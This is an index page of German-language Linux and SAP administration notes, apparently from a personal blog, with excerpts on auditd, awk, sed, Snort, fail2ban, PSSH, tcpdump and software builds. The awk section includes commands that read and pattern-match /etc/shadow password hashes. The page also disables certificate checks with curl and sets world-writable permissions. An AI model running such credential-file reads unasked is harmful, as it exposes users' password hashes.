Let’s Encrypt Zertifikat mit Elliptic Curve

Exported from Notepad++
Elliptic Curve certificate info: lynx https://dev.to/benjaminblack/obtaining-an-elliptic-curve-dsa-certificate-with-lets-encrypt-51bc openssl ecparam -list_curves openssl ecparam -genkey -name secp521r1 -out privkey.pem openssl ec -in privkey.pem -noout -text openssl pkey -in privkey.pem -text openssl req -new -key privkey.pem -out csr.pem You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN...
Read More

Linux Audit

Exported from Notepad++
########################################## #Kommandos Info: “lynx http://reiber.org/nxt/bin/view/Linux/Kauditd” “auditctl -w /etc/passwd -p war -k password-file” = /etc/passwd aufzeichnen “auditctl -w /etc/shadow -k shadow-file -p rwxa” = Add a watch on “/etc/shadow” with the arbitrary filterkey “shadow-file” that generates records for “reads, writes, executes, and appends” on “shadow” “auditctl -W /etc/shadow -k shadow-file -p rwxa” = Regel löschen “auditctl -w / -p war -k root-filesystem” = Filesystem/Directroy Überwachen ( / root) “auditctl -w /home/dude/” = Ordner Überwachen “systemctl start auditd...
Read More

Asterisk VoIP SIP Gateway how to

###########################################
Asterisk sollte auf Rechner oberhalb der 2GHZ Grenze betrieben werden, da doch relativ viel CPU Leistung benötigt wird.
Es sollte auch kein Connection Intensives Programm im Netz laufe wie z.B. eMule.

“lynx http://www.asterisk.org/”
###########################################
Build Asterisk 15.3 Stand 27.3.2018 auf Raspberry Pi 2 (Raspbian GNU/Linux 8 \n \l # Linux pi 4.9.35+ #1014 Fri Jun 30 14:34:49 BST 2017 armv6l GNU/Linux )

#Falls man Asterisk in einem Docker Container betreiben möchte, muss vom Hostbetriebssystem das /usr/src und /lib/modules mit eingebunden werden, da dahdi die Kernel Source Files benötigt:
# “docker run -d –privileged -it –ip=172.17.190...

Read More

sed (Unix) – Stream EDitor

sed -r ‘s/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/172.17.190/g’ moore.corp > moore.corp.neu = Ersetzt 172.16.190.XYZ nach 172.17.190.XYZ

“sed ‘s/alert/drop/’ datei.txt > datei_neu.txt” = Ersetzt das Wort alert duch drop aber nur wenn das Wort alert alleine steht.
“sed ‘s/alert/drop/g’ datei.txt > datei_neu.txt” = Ersetzt das Wort alert duch drop im kompletten Text, auch wenn es zwischen Wörtern steht.

Hier ein kleines sed Script:
#################################################################################
#!/bin/sh
#set -x
#Das Script sucht im Verzeichnis alle Dateinen mit der Endung “*.rules ” und ersetzt den Inhalt der gefundenen Dateien von alert nach drop bzw. schreibt den alten Namen der Datei wieder hin.
for fname in $(find . -name “*.rules” -print)
...

Read More

SAP Hana User System deaktivieren


User mit den Rollen “USER ADMIN” erstellen

SYSTEM deaktiveren
ALTER USER SYSTEM DEACTIVATE USER NOW

SYSTEM wieder aktivieren
ALTER USER SYSTEM ACTIVATE USER NOW


#################################################
sudo su –
su – hb1adm
hdbsql
\c -i 12 -n sles287.comp.ds:31215 -d HB1 -u SYSTEM -p <PASSWORT>
\c -i 12 -n sles287.comp.ds:31215 -d HB1 -u USER -p <PASSWORT>

hdbsql -n sles287.comp.ds:31215 -i 12 -d HB1 -u USER -p <PASSWORT> “SELECT * FROM “PUBLIC”.”EFFECTIVE_PRIVILEGES” where USER_NAME = ‘SYSTEM’;” | column -t | more

hdbsql -n sles287.comp.ds:31215 -i 12 -d HB1 -o test2.txt -u USER -p PASSWORD “SELECT * FROM “PUBLIC”.”EFFECTIVE_PRIVILEGES” where USER_NAME = ‘SYSTEM’;”


#Show Granted Role
SELECT * FROM “PUBLIC”.”EFFECTIVE_ROLES” where USER_NAME = ‘SYSTEM’;
SELE...

Read More

Xen Project Hypervisor

__  __ 
\ \/ /___ _ __ 
 \  // _ \ '_ \
 /  \  __/ | | |
/_/\_\___|_| |_|



Xen 4.1; 4.3; 4.4; 4.6; 4.11;
Help: “lynx https://www.suse.com/documentation/sles-12/vt-best-practices/data/vt-best-practices.html”

XEN Optionen sollten in den Kernel compiliert sein.
Reihenfolge. Erst neuster Kernel dann neustes XEN und dann OpenVswitch

gnuTLS: Siehe TLSgnu Doku:

dev86 (Dev86bin):
“lynx http://www.debath.co.uk/dev86/”
“wget http://www.debath.co.uk/dev86/Dev86bin-0.16.19.tar.gz” oder “wget http://v3.sk/~lkundrak/dev86/archive/Dev86bin-0.16.20.tar.gz”
“cp -frv /root/public/Dev86bin-0.16.18.tar.gz /”
“tar -xzf /Dev86bin-0.16.18.tar.gz” kopiert die Binaries nach /usr.
ggf. “chmod 777 /usr/bin/bcc”

ggf. den Proxy einstellen
“vi /etc/sysconfig/proxy” ->
PROXY_ENABLED=”yes”
HTTP_PR...

Read More

Blockchain

Die akteulle Version des Blockchain Generators erstellt
einen SHA512 langen Hashwert der Transaktion, sowie eine
sichere GPG Signature des Hashwertes. Als Datenbank kommt, sowie auch in Rocketsearch,
die Redis in-memory NoSQL Datenbank zum Einsatz.

Nachdem der Block generiert wurde, wird er an das Blockchain Peer Netzwerk gesendet
um den Block zu verteilen.
Beim laden des Block in die Kette der Peers, findet eine Validierung der gesammten Kette statt
ob der aktuelle Block aufgenommen werden kann oder nicht. Erst wenn mind. 5 Peers melden, das
der Block valide ist, wird er in die Gesammtkette integriert und somit ist die Transaktion dann
erfolgreich gespeichert.

SAP Blockchain Connector

für ein SAP ERP 6...

Read More

ROCKET SEARCH Best Practice

ROCKET SEARCH

/ \
| |
| |
| |
/____\
###
#

rs

Die Hauptverwendungszweg der Software ist das Indizieren von Dateien auf Netzlaufwerken und dessen zur Verfügung stellen dieser Daten via Weboberfläche für den Endanwender.

Ein Anwendungsbeispiel:

an einem Server sind 3 Netzlaufwerke angebunden.

2x Samba, einmal normales Share, und einmal ein Windows DFS share

1x NFS

Filesystem Size Used Avail Use% Mounted on

//172.17.190.34/dfs 7.0T 5.3T 1.8T 76% /root/smb_mount/dfs

172.17.190.6:/usr/sap 466G 244G 222G 53% /root/smb_mount/sap

//172.17.190.1/docs-team 150G 138G 12G 92% /root/smb_mount/docs-team

Auf den 3 Netzlaufwerken liegen 15 mio. Dateien in 1.1 mio Verzeichnissen.

find “/root/smb_mount/” -noleaf -type f -print | wc -l

15182764

find “/root/smb_mount/” -noleaf -...

Read More

Rocket Search

ROCKET SEARCH

/ \
| |
| |
| |
/____\
###
#

rs

Rocket Search ist die schnellste, lokale Datenbank gestützte Suche, auf dem Planeten. Basierend auf einer In-Memory Datenbank Technik, findet „Rocket Search“ alle dem Dienst zur Verfügung gestellten Dateien, innerhalb von Millisekunden.

Wo bei herkömmlicher Software, die Festplatte oder das SAN der I/O Bootleneck war , ist hier nur noch das Limit der zur Verfügung stehende Arbeitsspeicher.

Sämtliche Dateien werden indiziert und je nach Wunsch auch der Inhalt der Dateien. Sodass die lästige, manuelle Suche oder Windows File Search, nicht mehr notwendig ist.

Rocket Search, welche auf der NoSQL Datenbank redis basiert, schlägt sogar eine SAP Hana bei den Perfomancewerten und ist unschlagbar bei der Lizenzrech...

Read More

Rocket Search Docs – Installation und Konfiguration für SUSE Linux Enterprise Server und OpenSUSE

ROCKET SEARCH

Installation und Konfiguration für SUSE Linux Enterprise Server und OpenSUSE

/ \
| |
| |
| |
/____\
###
#

rs

Easy Setup mit „setup_rs_self_compiled_with_zypper.sh“ oder wie folgt manuell

 

LibreSSL

lynx https://www.libressl.org/

wget http://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.3.0.tar.gz

Integritätsprüfung:

curl –insecure https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/SHA256 | grep -i libressl- 2.5.4.tar.gz

sha256sum libressl-2.5.4.tar.gz

tar -xzf libressl-2.3.0.tar.gz

cd libressl-2.3.0/

./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –enable-windows-ssp –enable-extratests”

make

make install

cp -frv crypto/.libs/* /lib

cp -frv crypto/.libs/* /lib64/

cp -frv include/* /usr/include/

Samba

Read More

awk

awk '{print $2}' = Ausgabe der zweiten Zeile

#Anzeigen mit Spalte 1 und 5#################################
cat /etc/shadow | awk -F":" '{print "->"$1,$5 }' 
	cat /tmp/mounts_usr_global | awk -F: '{print$1}' = Bis zum Doppelpunkt anzeigen

#IP in Dezimal umwandeln
echo "10.176.161.79" | tr . '\n' | awk '{s = s*256 + $1} END{print s}'

#Die letzten drei Zeichen anzeigen
cat saprouttab | awk -F"." '{print $1 }' | awk '{ print substr( $0, length($0) - 2, length($0) ) }' | more

#Die ersten drei Zeichen anzeigen
cat saprouttab | awk -F"." '{print $4 }' | awk '{ print substr($0,1,3)}' | more

#Suchmuster :$ (Special Character)
cat /etc/shadow | awk '/\:\$/{ print $0 }'

#Duplikate anzeigen
sort nagios_hosts.txt icinga_hosts...
Read More

Wichtige Linux Befehle

    ____
  /@    ~-.
  \/ __ .- |
   // //  @

ls -al = Zeigt die Dateien inkl versteke (.xxx) an.
	ls -altr --time=atime /tmp/*.cfg = Nach Acces Time sortieren
	ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/' = lstree/tree
top = Taskmanager
./XXX.XX = starte die Executable in dem Ordner wenn sie Linux nicht bekannt ist
	". <XXX>" = starte ein Program in der aktuellen umgebung und NUR für die aktuelle Umgebung
tail -f XXX.XX = zeigt an ob eine Datei im Zugriff ist und zeigt in realtime an.
	"tail -f /var/log/firewall /usr/sap/CB3/ASCS31/work/gw_log" = Zwei Files gleichzeitig beobachten
vi <Dateiname> = Texteditor
	shift r = überschreiben
	shift i = einfügen
	shift g = springt an das Ende der Datei
	:0 = ...
Read More

Wireshark

Downloaden
http://www.wireshark.org/

Bei SuSE gibt es Probleme bei der Kompilierung deshalb bei SuSE ein rpm Packet verwenden
Bei Debian am besten via “apt-get install wireshark” installieren.

Installation:

Pcap:
“wget http://www.tcpdump.org/release/libpcap-0.9.8.tar.gz”
“tar -xvzf libpcap-0.9.8.tar.gz”
“cd libpcap-0.9.8”
“./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib –includedir=/usr/include”
“make”
“make install”

QT muss auch installiert sein. Siehe dazu QT Doks.

Bei Debian “cp -frv /usr/bin/dumpcap /usr/lib/” trotz “apt-get install wireshark” 🙁 .

wireshark:
“./configure” oder bei SuSE “...

Read More

GNU Parallel

GNU Parallel

"wget http://ftp.gnu.org/gnu/parallel/parallel-latest.tar.bz2"
"tar -xf parallel-latest.tar.bz2"
"cd parallel-20160622/"
"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
"make"
"make install"
"parallel --citation"
	"will cite"

"parallel -V"

#Test
time parallel md5sum {} ::: *.iso
time find *.iso -type f | parallel -j 2 md5sum
time parallel wget --no-check-certificate ::: www.kernel.org/pub/linux/kernel/v3.x/linux-3.11.tar.xz www.kernel.org/pub/linux/kernel/v3.x/linux-3.10.10.tar.xz
parallel gzip ::: *...
Read More

PSSH (parallel ssh)

PSSH How To

wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/parallel-ssh/pssh-2.3.1.tar.gz
tar -xzf pssh-2.3.1.tar.gz
python setup.py install

host list als File erstellen
vi hosts.txt ->
	server168.bb.bbmsg
	server169.bb.bbmsg

am besten überall den SSH RSA Key aktivieren.
ssh-keygen -v -b 8192 -t rsa
cat ~/.ssh/*.pub | ssh user@server169.bb.bbmsg 'cat>>.ssh/authorized_keys'
	cat /home/user/.ssh/id_rsa.pub | ssh user@server.domain.com 'sudo -u root sh -c "mkdir -p /home/user/.ssh; cat>>/home/user/.ssh/authorized_keys; chmod 0700 /home/user/.ssh/; chmod 0600 /home/user/.ssh/authorized_keys ; chown -R user:users /home/user/.ssh/"'

#Für Bourne Shell
eval `ssh-agent -s -t 120`
ssh-add -t 60 /home/user/...
Read More

MPICH

#MPICH
"wget http://www.mpich.org/static/downloads/3.2.1/mpich-3.2.1.tar.gz"
	"wget http://www.mcs.anl.gov/research/projects/mpich2/downloads/tarballs/1.0.8p1/mpich2-1.0.8p1.tar.gz"
"tar -xzf mpich2-1.0.8p1.tar.gz"
"cd mpich2-1.0.8p1"
mpich3: "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include --enable-cache --enable-mpe --enable-cxx " ggf. mit --disable-fortran"
mpich2: "./configure" oder bei Suse "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib --includedir=/usr/include --enable-cache --enable-mpe --enable-cxx"
"make"
"make install"

#Hydra
"wget http://www.mpich.org/static/downloads/3.2.1/hydra-3.2.1.tar.gz"
"tar -xzf hydra-3.2.1.tar.gz"
"cd hydra-3.2.1.tar.gz"
"...
Read More

Cloud Concept Provider View

Read More

Inotify

Inotify

"lynx https://github.com/rvoicilas/inotify-tools/wiki"
"wget --no-check-certificate http://github.com/downloads/rvoicilas/inotify-tools/inotify-tools-3.14.tar.gz"
"tar -xzf inotify-tools-3.14.tar.gz"
"cd inotify-tools-3.14/"
"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
"make"
"make install"

"inotifywatch -v -e access -e modify -t 60 -r /tmp/	"= Beobachtet das Verzeichnis für 60 Sek. und gibt die Anzahl der Daten aus
"inotifywait -mr --timefmt '%d/%m/%^C%H:%M' --format '%T %w %f' -e close_write /tmp/" = Beobachtet das Verz. und gibt die Zugriff aus

Read More

SAP Systemkopie mit Hana DB und Blue System Copy

Read More

iftop

iftop

pcap:
	libpcap:
	"wget http://www.tcpdump.org/release/libpcap-1.5.2.tar.gz"
	"tar -xvzf libpcap-1.5.2.tar.gz"
	"cd libpcap-1.5.2"
	"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include" ab openSUSE 13.2 "--enable-bluetooth=no"
	"make"
	"make install"

"wget http://www.ex-parrot.com/pdw/iftop/download/iftop-0.17.tar.gz"
"tar -xzf iftop-0.17.tar.gz "
"cd iftop-0.17/"
"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
"make"
"make install"

"iftop"
"iftop -i eth0"


Read More

nethogs

nethogs

libpcap:
	"wget http://www.tcpdump.org/release/libpcap-1.5.2.tar.gz"
	"tar -xvzf libpcap-1.5.2.tar.gz"
	"cd libpcap-1.5.2"
	"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include" ab openSUSE 13.2 "--enable-bluetooth=no"
	"make"
	"make install"

"git clone https://github.com/raboof/nethogs"
"cd nethogs"
"make"
"make install"
"nethogs"

nethogs -a -d 10
 
Read More

StrongSwan IPsec VPN

ACHTUNG !!!!
Strongswan 4.2.9 hat Probleme mit Kernel 2.6.7 wenn IPv6 nicht compiliert wurde.
Ab Strongswan 4.3 und Kernel 2.6.30 gibt es keine IPv6 Probleme.
Ab Kernel 2.6.33 ist das SHA2 voll integriert.
Das heisst in der ipsec.conf muss die option
	ike=aes256-sha512-modp4096
und
	aes256-sha512-modp4096
hinzugefuegt werden. das funktioniert aber nur wenn der gegenueberliegende Host
auch über den kernel 2.6.33 verefuegt oder hoeher.

Als erstes muss sichergestellt werden, das die beiden
zu verbindenden VPN-Netze, in zwei unterschiedlichen Subnetzen liegen,
damit die IP(IPsec)-Packet korrekt geroutet werden koennen. Am besten aber mit der selben Subnetmaske (255.255.0.0).
Bsp. 172.16.0.0/16 <==VPN-Tunnel===> 172.17.0.0/16...
Read More

nmon

   ------------------------------                                                                                                                                                                                                                                                 ¦
    _ __  _ __ ___   ___  _ __      
   | '_ \| '_ ` _ \ / _ \| '_ \   
   | | | | | | | | | (_) | | | |  
   |_| |_|_| |_| |_|\___/|_| |_|                                                                                                                                                                                                                                                  ¦
                                  
   ------------------------------                                      ...
Read More

Postfix

Vorher openssl installieren

"wget http://www.mirrorspace.org/postfix/official/postfix-2.4.6.tar.gz"
"tar -xvzf postfix-2.4.6.tar.gz"
"cd postfix-2.4.6"
mit LibreSSL:
	"vi src/tls/tls.h" ->
	//#if OPENSSL_VERSION_NUMBER < 0x10100000L
	#if OPENSSL_VERSION_NUMBER < 0x10100000L || defined(LIBRESSL_VERSION_NUMBER)

Mit SSL(TSL) und sasl Support ->
	"make tidy"
	"make makefiles CCARGS="-DUSE_TLS -DUSE_SASL_AUTH -DUSE_CYRUS_SASL -I/usr/include/sasl" AUXLIBS="-lssl -lcrypto -L/usr/lib -lsasl2" "

"make"
"make install"
Daraufhin kommen einige Abfragen die nach Vorschlag von Postfix übernommen werden.
Eventuell "ps -ef | grep -i post" -> "kill /usr/lib/postfix/master"
"/etc/init...
Read More

Docker

Docker

< boo >
 ----- 
    \
     \
      \     
                    ##        .            
              ## ## ##       ==            
           ## ## ## ##      ===            
       /""""""""""""""""___/ ===        
  ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~   
       \______ o          __/            
        \    \        __/             
          \____\______/   

###################################################################
Leichtgewichtige Application virtualisierung
###################################################################

Stand: "Docker version 1.12.3, build 6b644ec" 11.2016
Mind. : FATA[0001] Your Linux kernel version 3.0.101-77-default is not supported for running docker. Please upgrade your kernel to 3.10...
Read More

Apapche 2 mod_security

Mod_Security kann auch den SSL Traffic filltern, da es vor der Verschlüsselung greift.
Was Snort nicht kann :-(

Bei SLES liblua: (lynx http://www.linuxfromscratch.org/blfs/view/svn/general/lua.html)
	"wget http://www.lua.org/ftp/lua-5.2.3.tar.gz"
	"tar -xzf lua-5.2.3.tar.gz"
	"wget http://www.linuxfromscratch.org/patches/blfs/svn/lua-5.2.3-shared_library-1.patch"
	"cd lua-5.2.3"
	patch -Np1 -i ../lua-5.2.3-shared_library-1.patch &&
	"sed -i '/#define LUA_ROOT/s:/usr/local/:/usr/:' src/luaconf.h &&
	make linux
	make INSTALL_TOP=/usr TO_LIB="liblua.so liblua.so.5.2 liblua.so.5.2.3" \
	INSTALL_DATA="cp -d" INSTALL_MAN=/usr/share/man/man1 install &&
	mkdir -pv /usr/share/doc/lua-5.2.3 &&
	cp -v doc/*.{html,css,gif,png} /usr/share/doc/lua-5.2...
Read More

Snort

Snort 2.9.1 mit DAQ Libs compilieren ???
für 64 BIT (auf die x64 Pfade achten besonders bei /usr/lib64)

SLES 11 SP3
libpcap:
	"wget http://www.tcpdump.org/release/libpcap-1.5.2.tar.gz"
	"tar -xvzf libpcap-1.5.2.tar.gz"
	"cd libpcap-1.5.2"
	"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include" ab openSUSE 13.2 "--enable-bluetooth=no"
	"make"
	"make install"
	
Ab snort 2.9.4 muss noch "libnfnetlink" und "libnetfilter_queue" mitintsalliert werden da "ip_queue (ipq)" nicht mehr für Kernel 3.6 unterstützt wird ???
libnfnetlink:
	"wget http://netfilter.org/projects/libnfnetlink/files/libnfnetlink-1.0.1.tar.bz2"
	"tar -xf libnfnetlink-1.0.1.tar.bz2"
	"cd libnfnetlink-1.0.1"
	"...
Read More

SAP Hana DB Update (Master / Slave)

Read More

Ceph

    -^-
   /   \
   |O o|
   ).-.(
  '/|||\`
  | '|` |
    '|`

lynx ceph.com/
Damit "Big Data" auch "Big Platz" hat.

ceph_cluster


Prerequirements / Info:
	A minimum of three monitors nodes are recommended for a cluster quorum (lynx http://ceph.com/planet/zero-to-hero-guide-for-ceph-cluster-planning/)
	Das Initial Filesystem unter "/var/lib/ceph/osd/ceph-<N>" braucht ca. 6 GB Platz, egal wie groß letzendlich die Platte ist. Realer "RAW" Platz sind es allerdings nur 15 MB. Der Rest wird vorallokiert.
	This compelling list of features makes btrfs the ideal choice for Ceph clusters. http://docs.ceph.com/docs/jewel/rados/configuration/filesystem-recommendations/#filesystem-background-info
																					 http://docs.ceph...
Read More

rsync

"wget http://rsync.samba.org/ftp/rsync/rsync-3.0.2.tar.gz"
"tar -xvzf rsync-3.0.2.tar.gz"
"cd rsync-3.0.2"
"./configure" oder bei SuSE "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
"make"
"make install"

#Nützlicher Befehl##########################################
"rsync -avrz --partial -e ssh -v -r root@remote.wenning.corp:/root/public/to_rts /root/public/"
"rsync -avrz --partial -e ssh -v -r root@wennhmb.dyndns.org:/root/alex/uploads/* /root/downloads/" = Partieller Download/Upload via rsync in einem Secure SSH Tunnel (Gut für große Dateien, da der download/upload da weitermacht wo er aufgehört hat)
"time rsync -avrz -c --partial --progress --log-file=/var/log/rsync.log -e ssh -v -r root@172...
Read More

DB2 for SAP

################################################################################################################
#Kommandos
su - db2<SID> = Db2 User auf SPA bais
tail -f /db2/SB1/db2dump/db2diag...
Read More

OwnCloud

openLDAP (mit TLS)
siehe LDAPopen Doku
Bei 64 BIT "./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include  --enable-slapd=no --enable-backends=no --with-tls"
"make"
"make install"
"ln -s /usr/lib64/ldap* /usr/lib/"

PHP (mit SSL/TLS und LDAP)
siehe PHP Doku
"./configure --with-mysql=/usr --with-apxs2=/usr/local/apache2/bin/apxs --enable-mod-charset --with-openssl=/usr --with-zlib --enable-calendar --enable-mbstring --enable-zip --with-gd --with-ldap=/usr --with-ldap-sasl --with-gettext --with-imap-ssl --with-pdo-mysql=/usr --with-libdir=lib64 --with-ldap --with-kerberos"
ab Version 5.4.11 "...
Read More

cURL

libcurl:
"wget http://curl.haxx.se/download/curl-7.33.0.tar.gz"
"tar -xzf curl-7.33.0"
"cd curl-7.33.0"
"./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include"
"make"
"make install"


Achtung bei Leap 42.1 geht davon das yast2 (Software Management) kaputt.
	Problem:
		YaST got signal 11 at file /usr/lib64/ruby/vendor_ruby/2.1.0/yast/i18n.rb:134
		sender PID: 931016432
		/sbin/yast2: line 440: 97844 Segmentation fault      $ybindir/y2base $module "$@" "$SELECTED_GUI" $Y2_GEOMETRY $Y2UI_ARGS
	Lösung:
		Yast2 funktioniert nicht mit "libcurl.so.4.4.0", daher wieder den alten Symlink wiederherstellen.
		"cd /usr/lib64"
		"rm -frv libcurl.so.4"
		"ln -s libcurl.so.4.3.0 libcurl.so...
Read More

Web Services Concepts

Web Services Concepts

 

  1. High Availability

 

web_services_concept

 

2. Security Concept

secure_web

 

 

 

Notwendige Anleitungen zum Erstellen der einzelnen Komponenten

Apache httpd Komponenten: http://mooreblog.ddns.net/?cat=18

MariaDB: http://mooreblog.ddns.net/?p=1333

MariaDB Galera Cluster: http://mooreblog.ddns.net/?p=1482

Loadbalancer: http://mooreblog.ddns.net/?p=118

GFS2 Shared Storage: http://mooreblog.ddns.net/?p=905

iSCSI: http://mooreblog.ddns.net/?p=134

Build your own Router: http://mooreblog.ddns.net/?p=1467

Snort: http://mooreblog.ddns.net/?p=316

IPtables: http://mooreblog.ddns.net/?p=126

Pacemaker: http://mooreblog.ddns.net/?p=930

 

 

Read More

P2P i-Block Lists

Man sollte mind. 4GB Ram, 4 Kerne, und 3 GHZ haben.
Da es extrem viele IP Einträge sind, sollte man hier nicht auf IPtables setzten sondern auf IPset.
Die IPtables Performance geht schon ab ca. 1000 Regeln extrem in den Keller, wobei man bei 1.2mio IPset Regeln noch wunderbar weiterarbeiten kann.
Siehe dazu Doku über IPset.

mit “time cat antip2p_liste.txt | iptables-restore -v –noflush” kann man ca. 300.000 IP Regel einlesen, je nachdem wieviel RAM (Vmalloc) man hat. Danach geht die Netztwerkperformace drastisch in den Keller 🙁
Bei den i-Block listen ist darauf zu achten, das die Liste “bt_iana-private” IPs enthält die man
eventuell nicht blockieren möchte. ->
IANA – Internet Host Loopback [RFC5735]:127.0.0.0-127.0.0.0
IANA – Internet Host Loopback ...

Read More

GoAccess Apapche Log Web Analyzer

ggf. libtap (tap.h)

geoIP:
	"wget http://geolite.maxmind.com/download/geoip/api/c/GeoIP.tar.gz"
	"tar xzvf GeoIP.tar.gz "
	"cd GeoIP-1.4.8"
	"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
	"make
	"make install"

"wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz"
"gunzip GeoLiteCity.dat.gz"

"wget http://tar.goaccess.io/goaccess-1.0.2.tar.gz"
"tar -xzvf goaccess-1.0.2.tar.gz"
"cd goaccess-1.0.2/"
"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include --enable-geoip --enable-utf8 --with-getline"
"make"
"make install"

"goaccess -f /usr/local/apache2/logs/mooreblog_v-host_access...
Read More

Apapche reverse proxy (mod_proxy)

mod_proxy: The main proxy module for Apache that manages connections and redirects them.
mod_proxy_http: This module implements the proxy features for HTTP and HTTPS protocols.

"vi /usr/local/apache2/conf/httpd.conf" ->
	LoadModule proxy_module modules/mod_proxy.so
	LoadModule proxy_http_module modules/mod_proxy_http.so

	####################################################	
	#https://httpoxy.org/#fix-now
	RequestHeader unset Proxy early

	LogLevel debug


	<VirtualHost *:80>
		ServerName mooreblog.ddns.net
		ServerAlias mooreblog.ddns.net

		ProxyPass / http://172.17.190.10/
		ProxyPassReverse / http://172.17.190.10/
	</VirtualHost>

	Listen 443
	<VirtualHost *:443>
		ServerName mooreblog.ddns.net
		ServerAlias mooreblog.ddns...
Read More

Cygwin X-Server

##########################################################

Cygwin X-Server

##########################################################

Read More

Block Ram Device

Block Ram Device

#Ram Disk mit 256 MB erstellen
modprobe brd rd_size=256000	
ls -al /dev/ram*
mkfs.btrfs /dev/ram0
mount /dev/ram0 /root/temp/ram_disk 

dd if=/dev/random of=/root/temp/ram_disk/testfile.txt bs=1M count=10

free -m

Performance Test 0815 Laptop
#Normale root Partition auf lokaler 3.5 Zoll Spindel KEIN SSD
hdparm -t /dev/sda1
	/dev/sda1:
	 Timing buffered disk reads: 170 MB in  3.01 seconds =  56.57 MB/sec

#RAM Disk über iSCSI / 1GB/s
hdparm -t /dev/sdb
	/dev/sdb:
	 Timing buffered disk reads: 320 MB in  3.02 seconds = 106.06 MB/sec

#RAM Disk lokal
hdparm -t /dev/ram0
	/dev/ram0:
	 Timing buffered disk reads: 250 MB in  0.33 seconds = 755.77 MB/sec
/pre>
Read More

TCPdump

#Filter Optionen
tcpdump -i eth0 port not 22 and not host 172.16.190.1
tcpdump -i seth0 host 149.249.32.105
tcpdump -vvv -nn -X -i eth4 port not 22
tcpdump -nn -i eth1 port not 22 and not port 443 and not host 172.17.190.1 and not host 10.123.64.1 and not arp
tcpdump -nnvvXSs 1514 -i eth0.666 port not 22 and not port 443 and not host 172.17.190.1 and not host 10.123.64.1 and not arp and port 80 = Packet Inhalt ansehn auf Port 80
tcpdump -lenx -i eth0 -s 1500 port bootps or port bootpc = DHCP Packet dumpen
tcpdump -s 0 -v -w CAPTURE_DATA.pcap = Packet einfagen und in Filk schreiben (Binär)
	tcpdump -ttttnnr CAPTURE_DATA.pcap = File lesbar machen. Connection Info
	tcpdump -qns 0 -A -r CAPTURE_DATA...
Read More

FFmpeg

libmp3lame:
	"lynx lame.sourceforge.net/download.php"
	"tar -xzf lame-3.99.5.tar.gz"
	"cd  lame-3.99.5/"
	"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
	"make"
	"make install"

libshine:
	"wget https://github.com/toots/shine/archive/master.zip" oder "git clone https://github.com/toots/shine.git"
	"unzip shine-master.zip"
	"cd shine-master"
	"./bootstrap"
	"./configure --bindir=/usr/bin --sbindir=/usr/sbin --libdir=/usr/lib64 --includedir=/usr/include"
	"make"
	"make install"

x264:
	"wget ftp://ftp.videolan.org/pub/x264/snapshots/last_x264.tar.bz2"
	"tar -xf last_x264.tar.bz2"
	"cd x264-snapshot-20160419-2245"
	"...
Read More

fail2ban

"https://github.com/fail2ban/fail2ban/archive/0.9.3.tar.gz"
"tar -xzf 0.9.3.tar.gz"
"cd fail2ban-0.9.3"
"python setup.py install"
"cd /etc/fail2ban/"
"vi jail.conf" ->

"mkdir -p /var/run/fail2ban/"
"fail2ban-client start" oder "fail2ban-server" starten (-f = Starte den Server im Vordergrund) 
"fail2ban-client status"
	Status
	|- Number of jail:      0
	`- Jail list:
	
#Jails aktivieren. Minimal Konfig
"vi /etc/fail2ban/jail.conf" ->
	[sshd]
	port    = ssh
	logpath = /var/log/messages
	enabled = true

#Konfig anpassen
"vi /etc/fail2ban/fail2ban...
Read More

Microsoft System Center Operations Manager Linux Add-On

SCOM Agent auf SLES installieren

#Teil 1 installieren

rpm -i /tmp/scx-1.5.1-184.sles.11.x64.rpm
/etc/init.d/scx-cimd restart
cp -frv /etc/opt/microsoft/scx/ssl/scx-host-`hostname`.pem /mnt/cd_save/scom/cert_req/
Zerti req. vom SCOM signieren lassen

#####################################
#Teil 2 nach Signieren

cp -frv  /etc/opt/microsoft/scx/ssl/scx-host-`hostname`.pem /etc/opt/microsoft/scx/ssl/scx-host-`hostname`.pem_cert_req_`date '+%Y-%m-%d-%H_%M_%S'`
cp -frv /tmp/scx-host-`hostname`.pem /etc/opt/microsoft/scx/ssl/
ls -al /etc/opt/microsoft/scx/ssl/
chmod 444 /etc/opt/microsoft/scx/ssl/scx-host-`hostname`.pem
chown root:root /etc/opt/microsoft/scx/ssl/scx-host-`hostname`.pem
/etc/init...
Read More

BTRFS

BTRFS How To

unter SUSE. Default ab openSUSE 13.2 und SLES12

####################################
Partition formatieren

"mkfs.btrfs -f -L "SAP" /dev/sdb1" = BTRFS Partition erstellen. vorher mit fdisk oder gpart anlegen.
"mount /dev/sdb1 /usr/sap"

